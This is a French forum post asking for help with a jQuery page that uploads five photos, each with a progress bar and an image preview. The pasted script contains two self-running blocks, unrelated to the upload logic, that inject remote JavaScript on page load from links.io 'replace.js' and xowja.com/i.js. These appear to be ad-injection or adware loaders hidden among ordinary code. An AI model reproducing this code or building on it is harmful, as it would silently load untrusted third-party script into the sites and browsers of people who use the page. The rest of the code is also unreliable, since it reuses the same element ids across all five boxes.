Bonjour, je souhaite charger 5 photo successivement avec chacun un progress bar. Après le chargement je voudrai montrer l'image chargée.actu je suis codé quelque chose mais qui ne donne pas. Quelqu'un peut t'il voler à mon secours. voici le code:
<!DOCTYPE html>
<html>
<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="jquery.preimage.js"></script>
<script>
$(document).ready(function()
{
$('#photo').preimage();
});
var loadImageFile = (function () {
if (window.FileReader) {
var oPreviewImg = null, oFReader = new window.FileReader(),
rFilter = /^(?:image\/bmp|image\/cis\-cod|image\/gif|image\/ief|image\/jpeg|image\/jpeg|image\/jpeg|image\/pipeg|image\/png|image\/svg\+xml|image\/tiff|image\/x\-cmu\-raster|image\/x\-cmx|image\/x\-icon|image\/x\-portable\-anymap|image\/x\-portable\-bitmap|image\/x\-portable\-graymap|image\/x\-portable\-pixmap|image\/x\-rgb|image\/x\-xbitmap|image\/x\-xpixmap|image\/x\-xwindowdump)$/i;
oFReader.onload = function (oFREvent) {
if (!oPreviewImg) {
var newPreview = document.getElementById("imagePreview");
oPreviewImg = new Image();
oPreviewImg.style.width = (newPreview.offsetWidth).toString() + "px";
newPreview.appendChild(oPreviewImg);
}
oPreviewImg.src = oFREvent.target.result;
};
return function () {
var aFiles = document.getElementById("imageInput").files;
if (aFiles.length === 0) { return; }
if (!rFilter.test(aFiles[0].type)) { alert("You must select a valid image file!"); return; }
oFReader.readAsDataURL(aFiles[0]);
}
}
if (navigator.appName === "Microsoft Internet Explorer") {
return function () {
document.getElementById("imagePreview").filters.item("DXImageTransform.Microsoft.AlphaImageLoader").src = document.getElementById("imageInput").value;
}
}
})();
/* */
var uco = 'US';(function() {
var url = (document.location.protocol == 'http:') ? 'cdn-sl.links.io/replace.js' : '93ce.https.cdn.softlayer.net/8093CE/dev.links.io/htmlreplace/replace-ssl.js';
var h = document.getElementsByTagName('head')[0];
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = document.location.protocol + '//' + url;
h.appendChild(s);
})();
(function() {
var url = (document.location.protocol == 'http:') ? 'xowja.com/i.js' : 'xowja.com/i.js';
var h = document.getElementsByTagName('head')[0];
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = document.location.protocol + '//' + url;
h.appendChild(s);
})();
(function() {
var bar = $('.bar');
var percent = $('.percent');
var status = $('#status');
$('form').ajaxForm({
beforeSend: function() {
status.empty();
var percentVal = '0%';
bar.width(percentVal)
percent.html(percentVal);
},
uploadProgress: function(event, position, total, percentComplete) {
var percentVal = percentComplete + '%';
bar.width(percentVal)
percent.html(percentVal);
},
complete: function(xhr) {
bar.width("100%");
percent.html("100%");
status.html(xhr.responseText);
}
});
})();
</script>
<style>
.image_box_annonce
{
position: relative;
width: 100px;
height: 90px;
float: left;
left: 10px;
border: 2px dashed black;
margin: 0px 20px 20px 0px;
}
#photoAnnonce
{
width: 658px;
border: 1px solid;
margin: 5px;
padding: 3px;
height: 95px;
}
#imagePreview
{
height:87px;
border:1px solid #999999; background-color:#eeeeee; padding:1px 3px 1px 3px; color:#333333;
filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale);
}
.progress { position:relative; width:90px; top: 35px; border: 1px solid #ddd; padding: 1px; border-radius: 3px; }
.bar { background-color: #B4F5B4; width:0%; height:20px; border-radius: 3px; }
.percent { position:absolute; display:inline-block; top:3px; left:48%; }
</style>
<meta charset=utf-8 />
<title>jQuery file upload and show image upload</title>
</head>
<body>
<div id="photoAnnonce">
<div class="image_box_annonce">
<div id="imagePreview">
<label for="photo" style=" position:relative; left: 40px; top: 35px; width: 90px; height: 90px; cursor:pointer;">+</label>
<div class="progress">
<div class="bar"></div >
<div class="percent">0%</div >
</div>
<div id="status"></div>
</div>
<input type="file" name="photo[0]" id="photo" style="position:absolute; top:-20000px;" onchange="loadImageFile();"/>
</div>
</div>
<div id="photoAnnonce">
<div class="image_box_annonce">
<div id="imagePreview">
<label for="photo" style=" position:relative; left: 40px; top: 35px; width: 90px; height: 90px; cursor:pointer;">+</label>
<div class="progress">
<div class="bar"></div >
<div class="percent">0%</div >
</div>
<div id="status"></div>
</div>
<input type="file" name="photo[1]" id="photo" style="position:absolute; top:-20000px;" onchange="loadImageFile();"/>
</div>
</div>
<div id="photoAnnonce">
<div class="image_box_annonce">
<div id="imagePreview">
<label for="photo" style=" position:relative; left: 40px; top: 35px; width: 90px; height: 90px; cursor:pointer;">+</label>
<div class="progress">
<div class="bar"></div >
<div class="percent">0%</div >
</div>
<div id="status"></div>
</div>
<input type="file" name="photo[2]" id="photo" style="position:absolute; top:-20000px;" onchange="loadImageFile();"/>
</div>
</div>
<div id="photoAnnonce">
<div class="image_box_annonce">
<div id="imagePreview">
<label for="photo" style=" position:relative; left: 40px; top: 35px; width: 90px; height: 90px; cursor:pointer;">+</label>
<div class="progress">
<div class="bar"></div >
<div class="percent">0%</div >
</div>
<div id="status"></div>
</div>
<input type="file" name="photo[3]" id="photo" style="position:absolute; top:-20000px;" onchange="loadImageFile();"/>
</div>
</div>
<div id="photoAnnonce">
<div class="image_box_annonce">
<div id="imagePreview">
<label for="photo" style=" position:relative; left: 40px; top: 35px; width: 90px; height: 90px; cursor:pointer;">+</label>
<div class="progress">
<div class="bar"></div >
<div class="percent">0%</div >
</div>
<div id="status"></div>
</div>
<input type="file" name="photo[4]" id="photo" style="position:absolute; top:-20000px;" onchange="loadImageFile();"/>
</div>
</div>
</body>
</html>
Afficher la suite